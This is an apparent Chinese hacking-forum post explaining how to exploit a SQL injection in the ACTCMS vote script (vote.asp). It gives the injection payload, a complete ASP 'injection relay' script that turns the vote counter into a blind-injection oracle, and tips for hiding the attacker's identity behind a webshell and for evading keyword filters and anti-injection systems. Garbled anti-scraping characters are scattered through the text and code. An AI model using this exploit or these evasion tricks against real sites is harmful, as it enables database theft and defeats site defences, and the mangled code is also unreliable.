注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
% E; \& k1 D, q9 p2 v9 W链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
转载请注明以上
( q. f1 L2 o# [+ z) B漏洞文件：
3 {0 ^( c+ f+ \# X* w# G/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   

' w; P/ u& G6 e. ]: o/ a2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
1 o5 i( W/ k! R; p) p
5 v) m% s3 ^- Y1 ]3    response.end   

4    end if   

5    for i=1 to request("voted").count   

' N- A; [3 h8 h* A6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
3 f( n0 j9 }- F$ I1 y2 o
+ H; P2 ^% s) e7 J: x0 b6 o- T7    next   

8....   
8 g- C8 r# R3 v* v
5 I% W. L  G# j( m% b9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
            失败票数不变
  I* c8 q2 j# N2 J7 U7 s如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)

- Y% a' c! e5 c2009-12-27 13:20
. y; T8 i1 S! ^8 |2 w' ^
( a" c9 R# k* y; d' H利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
  X  F) U7 J1 z: F6 P5 X; I注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
5 K' A/ l. Y/ A+ |5 V1 {2 O, m# E
然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
. S, o0 C" `5 a9 M; H
/ L$ w5 I0 k0 d/ S: U6 X02JmdcwName=request("jmdcw")
8 R9 {( Z: }$ x9 Y0 ^
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
7 X/ ~+ p/ e# i( ?0 S
: I7 u0 W. c3 G% X% S' T04JmStr="id=1&voted=-1 or 1="&JmdcwName

05JmStr=URLEncoding(JmStr)

06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

  u% @5 e" X! g  k9 k07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
9 E* Y& l7 Y0 P$ L& P$ Y5 P4 G
1 V: X; K6 k7 Q' o$ V' ?/ T08testurl=testurl & "?" & JmStr
7 w& D8 F; X5 W! K; X0 R
( w+ c1 A/ Q6 ?: S09JMUrl=JMUrl & "?" & JmStr
; }' Y& }: f* q% a" L' a+ P) \
7 R$ s- Y- g, z9 `10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"

11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
3 Y& \- \0 e8 J
' {8 y) }' y; y) [# B12JmCok=replace(JmCok,chr(32),"%20")  
: r2 P5 D  _: h" p
- L; s$ b3 d9 t6 `* ~13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

14  
" R8 x1 M; C5 m9 l
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
7 w. ?& l' y3 x* N3 x
4 R: `/ y9 f1 ?5 x: Q! j  Z+ e16  

1 A) f8 J9 ^# ^- j17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
# z3 H* y3 E$ n3 e: G, M% w
8 {" o; L9 n7 k4 c. w; L6 J18response.write test1&""&test2&""

+ K+ o1 q6 {1 v! i; f- X3 U5 m19  

6 F* ~- z* c2 K3 p  z20if test1=test2 then '如前后记录相等，表示失败
0 r4 i# M. T  x5 i" p5 ^
! G0 g% g4 z, u  ~) p$ S/ `2 I21  response.write "failed"

6 A) `3 C: t9 k& z6 q4 {3 }22else

; X' A+ S' U' [4 L% d- ?$ O23  response.write "succeed"
8 a: ^, T3 B) g7 k
) @6 H6 |( B/ e: W& R24end if  
$ Y8 W" r9 x& k  h, L# O
25  

26response.write "by 3x"
3 Z& n( z, ^2 H- K$ |0 D, u7 Y. ]
27  
) U% E% G* ]. m1 Z" p
28  

% Y' T. ]- M# J, x* e- V4 V: _29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

30Dim Http
/ E- |. T  k3 O: r+ I
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
2 _; d, J' H+ o- U3 t6 ^2 b
32With Http
8 @( W* ^# y0 P  b+ m" n! ~; a
33  

34.Open "GET",PostUrl,False

35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
( R4 e& Y: }, P( ~9 W
3 R5 K' C- P, _  s8 A3 J36.SetRequestHeader "Referer",PostRef

- w6 G* R" p4 G: H/ c& \7 F( F( s3 {37.SetRequestHeader "Cookie",PostCok
* K/ l% B. E$ L1 B! \- j
) K; E( l' S7 Q; F6 c9 z; J38.Send ()
4 ^" C) M( t9 I! G- {3 z8 O) P
2 k, |# G( u) L) Z39PostData = .ResponseBody
+ t0 o  J- V6 X% g. K, a" Q
40End With
+ H# L3 v8 u+ O
41Set Http = Nothing
8 C0 ]: J- b) [1 F6 S$ [
2 i) k7 P& O6 |) t/ ]; P, `, f42PostData =bytes2BSTR(PostData)

43End Function

- S9 u5 }- [8 j2 \$ |44  

45  
: ^2 x& r! r- t' d  J
. w9 X* G' @- d3 G3 L# G46Function bytes2BSTR(vIn)
2 u( k+ i- r2 \: d0 y9 D
$ {7 P) r* j( l* T1 ~# V- Z. a47Dim strReturn

48Dim I, ThisCharCode, NextCharCode
9 {6 c5 y" D& @7 U; Q
49strReturn = ""

50For I = 1 To LenB(vIn)

3 J6 @' n3 V* w3 g- O, f51ThisCharCode = AscB(MidB(vIn, I, 1))

52If ThisCharCode < &H80 Then

, s& j# ~3 q) b* u) b53strReturn = strReturn & Chr(ThisCharCode)
9 m, h! J4 a2 `
54Else

55NextCharCode = AscB(MidB(vIn, I + 1, 1))
5 }' P8 T) X8 ?% ]; H
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
# \+ `8 i5 D# O3 y2 Z, O9 e
57I = I + 1

7 i6 _0 o1 d* s( z! I( k58End If

9 n  Q& H- T$ w& p59Next
4 J; ?- W) F6 B/ p5 d5 V
60bytes2BSTR = strReturn

61End Function

. G" A$ h$ Y2 |0 o62  
  G( S& G" K) g' u1 P' z- @9 p2 ?
; F1 L) s1 B, J8 k8 O63Function URLEncoding(vstrin)  
/ C. n7 w7 u* a) P$ V# x
' b* g" e4 i6 m) t. B4 Q+ \. g7 m, y64strReturn=""

65Dim i
1 q4 ~4 u, |2 R* t
66For i=1 To Len(vstrin)
  E6 S2 v$ b% b+ E
67ThisChr=Mid(vstrin,i,1)
5 Q3 f" b4 i' W$ P! o, @' A( h# B
) ~& ^+ f  Z3 a" D; p! i6 N( y: T68if Abs(Asc(ThisChr))< &HFF Then

69strReturn=strReturn & ThisChr

70Else

2 @$ E3 J. b# w# [/ h0 I71InnerCode=Asc(ThisChr)

72If InnerCode<0 Then
2 }) p; m' i1 ?
73InnerCode=InnerCode + &H10000

, G4 o1 H' T1 y, }) u, `74End If

75Hight1=(InnerCode And &HFF00) \&HFF

76Low1=InnerCode And &HFF
' V  ?4 `1 I, W0 E% G8 f6 |) ^
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
' S2 l8 o, z& d9 R2 ^$ C- a7 O
* O) Z2 C% u& _2 s# U78End if

6 f/ {5 ]4 Q+ `  }, F79Next
8 v/ B0 K. k) f4 @/ v( \9 Q0 n3 Z
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

' ]" {! \+ M) w8 Y3 E81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
7 c9 V/ G+ G" }3 |; W" P
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

83URLEncoding=strReturn

4 A# A* o8 G6 _+ P$ B84End Function

85  
% h( W9 _  o# q, J- w
86function getSt(body)
, Y' D+ _- V! r- p& e+ }
+ D" J" t2 F6 o2 R8 ?  ~2 o87  startpot=instr(body,"投票人数：")+len("投票人数：")
- X" B; \: f7 W: W- C9 E8 a7 Q9 a
  _  d3 ]% l0 q3 o, G0 X88  endpot=instr(startpot,body," ")

5 }. |4 m% I8 d  k: {1 @89  getSt=mid(body,startpot,endpot-startpot)
7 u( Z1 q# y) z3 x9 X2 k
90end function

, G! n+ K  o) R& ?- g1 z- z91%>
7 ?! T5 v( ]% k9 r" S! k注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
- p6 _& ]5 ?& }1 W, K4 v测试下效果：
投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)

. r$ e9 w9 G: T4 M# e2 j6 j3 S2009-12-27 13:29
投票失败
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

% i0 f- T7 _* g: D! w3 v2009-12-27 13:29
-------------------------------------------------------------------------------
6 `2 _' }: s  s( d, U) \再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
( s3 I' F* `& v( @* C* A-------------------------------------------------------------------------------
5 Z; Y& [+ N/ b4 }5 Q3 ?, u  ^
# k2 V( `( r" _) d7 r6 U, H0 s注入中转的一些其他应用
1 w3 w: g/ i  X其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
& I, X- d" k! E( ?6 G$ _+ @1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过